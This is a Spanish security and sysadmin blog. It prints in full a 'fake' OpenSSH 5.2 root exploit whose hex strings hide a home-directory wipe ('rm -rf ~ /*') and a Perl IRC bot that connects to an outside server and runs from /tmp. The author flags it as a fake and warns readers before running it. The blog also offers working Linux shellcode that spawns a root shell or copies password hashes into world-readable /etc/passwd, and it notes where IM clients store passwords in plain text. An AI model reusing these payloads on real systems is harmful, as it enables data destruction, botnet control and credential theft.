Creative Commons License
UNIX & Cisco & Hacks by vlan7.
Todos los contenidos bajo Creative Commons Reconocimiento-No comercial-Compartir bajo la misma licencia 2.5 España salvo indicación expresa.
~Click or diE~




Your public IP has been logged robtex

Burlando NAT:



[RSS] ~Unix & Cisco & Hacks~



Si desean colaborar con este proyecto pulsen en los anuncios, gracias

domingo, noviembre 22, 2009

Recogiendo datos para Analisis Forense de sistemas Windows

Estoy escribiendo en este hilo de Wadalbertia un "paper" por llamarlo de alguna forma sobre la obtencion de datos para Analisis Forense en sistemas Windows.

Estoy procurando ser lo mas metodico posible, y aun no lo he terminado, de todas formas se acepta cualquier tipo de critica, comentario o sugerencia.

Suerte,

martes, septiembre 22, 2009

FAKE 0day OpenSSH <= 5.2 Remote root exploit

En una entrada, admin me preguntaba si conocia un supuesto 0-day de ssh.

Se ha quitado algo para que no compile. ¿Te refieres a este?


Ver los comentarios antes de ejecutar el exploit


* ---------------------------
* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
*
*
* Takes advantage of an off-by-one
* bug in mapped authentication space on system
*/

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
"\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26";

char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";


char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";
#define SIZE 0xffffff
#define OFFSET 131
#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){
printf("\n[+] 0pen0wn 0wnz Linux/FreeBSD\n");
printf(" Usage: %s -h -p port\n",arg);
printf(" Options:\n");
printf(" \t-h ip/host of target\n");
printf(" \t-p port\n");
printf(" \t-d username\n");
printf(" \t-B memory_limit 8/16/64\n\n\n");
}

#define FD 0x080518fc
#define BD 0x08082000

int main(int argc, char **argv){
FILE *jmpinst;
char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;
struct sockaddr_in addr;

if (geteuid()) {
puts("need root for raw socket, etc...");
return 1;
}

if(argc < 3){
usage(argv[0]);
return 1;
}


printf("\n [+] 0wn0wn - by anti-sec group\n");

if (!inet_aton(h, &addr.sin_addr)){
host = gethostbyname(h);
if (!host){
printf(" [-] Resolving failed\n");
return 1;
}
addr.sin_addr = *(struct in_addr*)host->h_addr;
}

sock = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
printf(" [-] Connecting failed\n");
return 1;
}
payload = malloc(limit * 10000);
ptr = payload+8;
memcpy(ptr,jmpcode,strlen(jmpcode));
jmpinst=fopen(shellcode+793,"w+");
if(jmpinst){
fseek(jmpinst,0,SEEK_SET);
fprintf(jmpinst,"%s",shellcode);
fclose(jmpinst);
}
ptr += strlen(jmpcode);
if(target != 5 && target != 6){
memcpy(ptr,shellcode,strlen(shellcode));
ptr += strlen(shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(shellcode));
}
else{
memcpy(ptr,fbsd_shellcode,strlen(fbsd_shellcode));
ptr += strlen(fbsd_shellcode);
memset(ptr,'B',limit * 10000 - 8 - strlen(fbsd_shellcode));
}
send(sock,buffer,strlen(buffer),0);
send(sock,ptr,3750,0);
close(sock);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1) {
printf(" [-] connecting failed\n");
}

payload[sizeof(payload)-1] = '\0';
payload[sizeof(payload)-2] = '\0';
send(sock,buffer,strlen(buffer),0);
send(sock,payload,strlen(payload),0);
close(sock);
free(payload);
addr.sin_port = htons(6666);
if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */
printf("\n [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]\n\n");
fremote("PS1='sh-3.2#' /bin/sh");
}
else
printf(" [-] failed to exploit target :-(\n");
close(sock);
return 0;
}

Husmeando en archivos (IV)

pidgin, conocido cliente de messenger para Linux, guarda las contraseñas en texto plano tambien.

Dentro de nuestro home, hacemos una busqueda por el archivo accounts.xml.

Lamentable.

Husmeando en archivos (III) ...cypher will not save you

amsn cifra la contraseña.

El archivo donde la guarda cifrada es:

/home/user/.amsn/config.xml

La variable es remotepassword.

Aunque este cifrada, que me consta que es en DES, bastaria que un atacante copiara ese config.xml en su maquina.

Husmeando en archivos (II)... Kmess guarda user/pass en texto plano

Este cliente de messenger para Linux, guarda user/pass en un archivo en el que tiene acceso de lectura todo el mundo:

/home/user/.kde/share/config/kmessrc

amsn, mas conocido, guarda esta informacion cifrada.

domingo, agosto 23, 2009

mmm ... creo que esta es tu IP publica no?

http://www.orkspace.net/owned/

:)

Gracias a sparc ;)

jueves, julio 09, 2009

...una historia inofensiva pero real ~ XSS en la web de la Guardia Civil ~

Pues nada, un XSS que descubri el otro dia jugando.

Ahi va:

Full Disclosure 100% DIY (esto es, a mi manera)
donde se habla de una historia
inofensiva pero real
~ XSS en la web de la Guardia Civil ~
Por/By: vlan7 [ http://vlan7.blogspot.com ]
~
Fecha de descubrimiento y contacto con la Guardia Civil: 5-Jul-09
Fecha en la que la Guardia Civil responde confirmándolo: 6-Jul-09
Fecha en la que este XSS queda mitigado: 7-Jul-2009
¿Full Disclosure? released to the public: 10-Jul-2009
~




"No hemos hecho nada del otro mundo, porque vivimos en este"
Eskorbuto


P.D. No es mi especialidad la seguridad web, cualquier correccion sera bienvenida. Gracias.

He añadido un archivo .ZIP con las referencias, que realmente es lo mejor del documento :D Hay alguno bastante bueno.

Referencias

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=56031

domingo, julio 05, 2009

unshadow.c shellcode

Esta shellcode deshabilita el shadowing en un sistema Linux. Todos los passwords de /etc/shadow van a /etc/passwd , legible por todo el mundo :)

#include <stdio.h>

const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena con un 0
"\x68\x63\x6f\x6e\x76" //push dword "conv"
"\x68\x70\x77\x75\x6e" //push dword "pwun"
"\x68\x62\x69\x6e\x2f" //push dword "bin/"
"\x68\x73\x72\x2f\x73" //push dword "sr/s"
"\x68\x2f\x2f\x2f\x75" //push dword "///u"
"\x89\xe3" //mov ebx,esp
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h

void main()
{
printf("\n~ This shellcode disables shadowing on a linux system ~"
"\n\n\t ~ Coded by vlan7 ~"
"\n\t ~ http://vlan7.blogspot.com ~"
"\n\n ~ Date: 4/Jul/2009"

"\n\tYou'll have the passwords stored in /etc/passwd."
"\n\tFor undo purposes use the pwconv command."
"\n\t ~ Cheers go to: Wadalbertia"
"\n\t ~ Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);

(*(void (*)()) sc)();
}

sábado, julio 04, 2009

Y sigue el culebron... Smallest (27 bytes) GNU/Linux x86 setuid/execve shellcode without NULLs

Como no sabia que era imposible lo hice


27 bytes!!!
:)

#include <stdio.h>

const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop!
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) should returns 0 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena //bin/sh con un 0
"\x68\x6e\x2f\x73\x68" //push dword "hs/n"
"\x68\x2f\x2f\x62\x69" //push dword "ib//"
"\x89\xe3" //mov ebx,edx
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h

int main()
{
printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 STABLE SHELLCODE "
"WITHOUT NULLS THAT SPAWNS A SHELL"
"\n\nCoded by vlan7"
"\n\t + vlan7[at]bigfoot.com"
"\n\t + http://vlan7.blogspot.com"
"\n\n[+] Date: 4/Jul/2009"
"\n[+] Thanks to: sch3m4"
"\n\n[+] Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);
(*(void (*)()) sc)();
return 0;
}


Voy a citar de aqui el funcionamiento de setuid().

RETURN VALUE

Upon successful completion, 0 shall be returned. Otherwise, -1 shall be returned and errno set to indicate the error.

ERRORS

The setuid() function shall fail, return -1, and set errno to the corresponding value if one or more of the following are true:

Veamos si entramos en alguno de los casos:

[EINVAL]
The value of the uid argument is invalid and not supported by the implementation


No. UID=0 es un UID valido. Es el r00t!

[EPERM]
The process does not have appropriate privileges and uid does not match the real user ID or the saved set-user-ID.


Logicamente, esto ultimo puede pasar en la version a la que se llego anteriormente.

Ah, y aqui el hilo de Wadalbertia:

Smallest GNU/Linux x86 setuid/execve shellcode without NULLs

Stay clean,

XSS

El otro dia estuve jugando con XSS, y mande algunos a la conocida xssed.com

http://www.xssed.com/archive/author=vlan7/

Quiero dedicar primero muy especialmente este:

http://www.lsi.upc.edu

dedicado, con cariño, a todos los profesores que tuve que aguantar en su dia del departamento de LSI de la FIB de la UPC; por prohibir las soluciones ingeniosas en sus estupidos problemas. Si por ellos fuera nunca aprendo.

Mande varios, pero yo me quedo con ese.

Stay clean,

sábado, junio 27, 2009

postfix + logrotate

LOGUEANDO 2 INSTANCIAS DE POSTFIX EN 2 ARCHIVOS DIFERENTES:
===========================================================

/etc/postfix/main.cf :
----------------------
syslog_facility=local1
syslog_name=postfix_smtpExtern

/etc/postfix-out/main.cf :
--------------------------
syslog_facility=local2
syslog_name=postfix_smtpIntern

/etc/rsyslog.conf :
-------------------
# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none;local1.none;local2.none /var/log/messages
(...)
local2.* -/var/log/smtpdIntern.log
local1.* -/var/log/smtpdExtern.log

Reiniciar demonios:
-------------------
/etc/init.d/rsyslog restart
/etc/init.d/postfix restart
/etc/init.d/postfix-out restart

*********************************************************************************

ROTANDO LOS 2 ARCHIVOS DE LOG CON LOGROTATE:
============================================

/etc/logrotate.d/syslog (Postfix usa syslog):
---------------------------------------------
/var/log/smtpdIntern.log {
sharedscripts
missingok
weekly
compress
# delaycompress
create
postrotate
/etc/init.d/rsyslog restart
/etc/init.d/postfix-out reload
endscript
rotate 12
mail user@host.com
}

/var/log/smtpdExtern.log {
sharedscripts
missingok
weekly
compress
# delaycompress
create
weekly
postrotate
/etc/init.d/rsyslog restart
/etc/init.d/postfix reload
endscript
rotate 12
mail user@host.com
}

*********************************************************************************

COMPROBACION FORZANDO ROTACIONES CON LOGROTATE:
===============================================

/usr/sbin/logrotate --force /etc/logrotate.d/syslog

miércoles, junio 24, 2009

WPA + TKIP. Probando con tkiptun-ng

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55867

Gracias a Vic_Thor por la info _de primera mano_, pues es muy dificil encontrar informacion sobre esta herramienta.

Ah, salio la version 1.0 para win, aunque no la he probado.

Slowloris - HTTP DoS

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55898

Gracias Sor_Zitroen por la noticia!

martes, junio 23, 2009

Jugando a robar cookies con surfjack

lunes, junio 22, 2009

Jugando y burlando a SSL con SSLStrip

http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55846

PD Gracias al compañero Popolous por el post-it ;)

miércoles, junio 03, 2009

VMWare disaster recovery

La idea es tener una tarea cron que copie las maquinas virtuales de un host fisico a otro host fisico VMWare.

No se realiza escritura a disco, pues en VMWare es lo que mas penalizado se ve. Se comprime todo en un lado del tunel ssh, y por el otro lado se va descomprimiendo.

Ahi va:

#!/bin/bash
#
#Copia VMs de FISICA1 a FISICA2 para Disaster Recovery
#
#vlan7 / 13-5-09
#

ALERTA=80 #20% espacio libre
ssh fisica2 df -HP |grep mapper | awk '{ print $5 " " $1 }' |awk '{ print $1}' | cut -d'%' -f1 >/tmp/output
uso=$(cat /tmp/output)

if [ $uso -g $ALERTA ]; then
echo "$uso % de espacio utilizado a fisica2, abortando copia" >>/var/log/copiaVMsVMWare.log
fi

if [ $uso -le $ALERTA ]; then
#host1
echo "Apagando la VM host1 - $(date)" >>/var/log/copiaVMsVMWare.log
vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd stop "[standard] host1/host1.vmx" soft
echo "Apagada la VM host1 - $(date)" >>/var/log/copiaVMsVMWare.log
tar czvf - /var/lib/vmware/Virtual\ Machines/host1/ |ssh fisica2 "cd / ; tar xzvf -"
echo "Encendiendo la VM host1 - $(date)" >>/var/log/copiaVMsVMWare.log
vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd start "[standard] host1/host1.vmx"
echo "Encendida la VM host1 - $(date)" >>/var/log/copiaVMsVMWare.log

#list all available VMs to log
vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd list >>/var/log/copiaVMsVMWare.log
fi

#enviando correo
tail -100 /var/log/copiaVMsVMWare.log | mail -s "[script] copiaVMsVMWare.sh" user@host.com

viernes, marzo 13, 2009

Asistente agregar impresoras linea de comandos

RUNDLL32 PRINTUI.DLL,PrintUIEntry /il

Mas ejemplos en http://www.robvanderwoude.com/2kprintcontrol.php

A mi me fue util en una ocasion...

miércoles, febrero 25, 2009

Equipos wireless iniciar sesion en dominio

Si un equipo nunca ha iniciado sesion en un dominio, no tendra guardadas las credenciales en cache. Esto es un problema para equipos wifi que quieran iniciar sesion en el dominio de nuestra organizacion.

Y aunque tengan guardadas las credenciales en cache, no se ejecutara en su maquina ningun logonscript.

La solucion es cargar y activar la tarjeta wifi antes del inicio de sesion, antes de autenticarse.

Yo me quedo con esta manera de hacerlo:

1. Usar el servicio Windows Zero Configuration (Inicio de sesion wifi facil o algo asi se llama en castellano)

2. regedit. HKLM \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Winlogon
Añadir valor DWORD GpNetworkStartTimeoutPolicyValue 3c (hexa) o 60 (dec)

3. regedit. HKLM \ Software \ Policies \ Microsoft \ Windows \ System
Añadir valor DWORD GroupPolicyMinTransferRate a 0.

Y los clientes ya podran iniciar sesion como si estuvieran conectados a la red cableada.

User Profile Deletion Utility (Delprof.exe)

Delprof.exe is a command-line utility that you can use to delete user profiles on a local or remote computers running Windows 2000, Windows XP, and Windows Server 2003.

http://www.microsoft.com/downloads/details.aspx?familyid=901a9b95-6063-4462-8150-360394e98e1e&displaylang=en

martes, febrero 17, 2009

VMWare. Ubuntu/Debian eth0 desaparece

Tras copiar una VM, eth0 desaparece.

Asi lo arregle yo:

Editar:

En Ubuntu: /etc/udev/rules.d/70-persistent-net.rules
En Debian: /etc/udev/rules.d/z25-persistent-net.rules

Borrar la primera entrada y cambiar en la segunda eth1 por eth0.

Reiniciar servicios asociados:

/etc/init.d/udev restart
/etc/init.d/networking restart

No es necesario reiniciar el host.

<EDIT 23-2-09>
Si seleccionamos mover nos olvidamos de este problema, ya que se mantiene todo el estado de la maquina, direccion MAC incluida. Esto viene bien en un entorno donde se quiera una altadisponibilidad con una VM de backup que en caso de fallo de una podamos levantar la otra.
</EDIT 23-2-09>

VMWare tools Ubuntu

Click en Instalar VMWare tools

sudo su

Montar cdrom

tar xzvf VMWare*.tar.gz (a /tmp)

apt-get install gcc make

apt-get install linux-headers`uname -r`

ln -s /usr/src/linux-headers`uname -r` /usr/src/linux

./vmware-install.pl

sábado, febrero 14, 2009

Win. Ofrecer asistencia remota en la LAN

hcp://CN=Microsoft%20Corporation,L=Redmond,S=Washington,C=US/Remote%20Assistance/Escalation/Unsolicited/unsolicitedrcui.htm

Esto es con permiso del usuario.

miércoles, enero 28, 2009

0-day in ZipArchive's PHP

Hoy me puse en contacto con el "security response team" de PHP sobre un bug que descubri en ZipArchive de PHP que, que yo sepa, no habia sido hecho publico.

Pues bien, hoy mismo me han respondido, y como ya esta solucionado, aqui pongo el mail que les mande:

